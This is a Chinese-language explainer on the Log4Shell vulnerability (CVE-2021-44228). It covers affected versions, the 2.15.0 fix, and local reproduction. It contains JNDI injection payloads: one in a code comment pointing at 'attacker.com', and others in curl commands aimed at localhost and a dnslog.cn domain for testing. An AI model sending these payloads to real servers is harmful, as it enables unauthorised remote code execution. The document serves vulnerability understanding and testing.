log4 0day漏洞: CVE-2021-44228
这个0day漏洞的POC被发布在 GitHub.
此帖子提供资源,以帮助您了解漏洞以及如何减少它对您的系统的危害。
哪些会被影响?
许多许多的服务都会受到这个漏洞的影响。
- 云服务比如 Steam, Apple iCloud,和类似Minecraft 的应用都被证实他们易于被攻击。
- 任何使用Apache Struts都容易受到攻击。
- 许多开源的项目比如 Minecraft server,Paper,已经对该漏洞进行了修补。
- 简单的修改iPhone的名称证实是苹果服务器的漏洞。
JDK版本低于
6u211
,7u201
,8u191
和11.0.1
会受到LDAP攻击矢量的影响。- 因为在高于这个版本的jdk中设置了
com.sun.jndi.ldap.object.trustURLCodebase
为false
- 因为在高于这个版本的jdk中设置了
2.0 <= Apache log4j <= 2.14.1
如何处理?
永久防护
log4j 2.15.0已经被发布,并且没有该漏洞。
Maven Central here
如何进行攻击?
环境要求
- 一个具有漏洞的log4j服务器,版本在上面提到,可以用springboot引入打包。
- 具有任何协议(HTTP,TCP等)的端点,允许攻击者发送漏洞字符串。比如你启动SpringBoot默认端口8080,TCP协议
- 从请求中记录字符串的日志语句。
漏洞发生的语句
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:{}", userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
本地重现
启动有漏洞的服务端
- 你可以自己创建个SpringBoot项目启动
你可以使用docker使用下面的
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
在另一个命令行使用该语句
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'
日志应包括错误消息,表示尝试了远程查找但失败了
2021-12-10 17:14:56,207 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
如何验证你的服务器是否存在漏洞?
使用DNS logger(比如 dnslog.cn),你可以生成域名并且使用你自己的测试
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'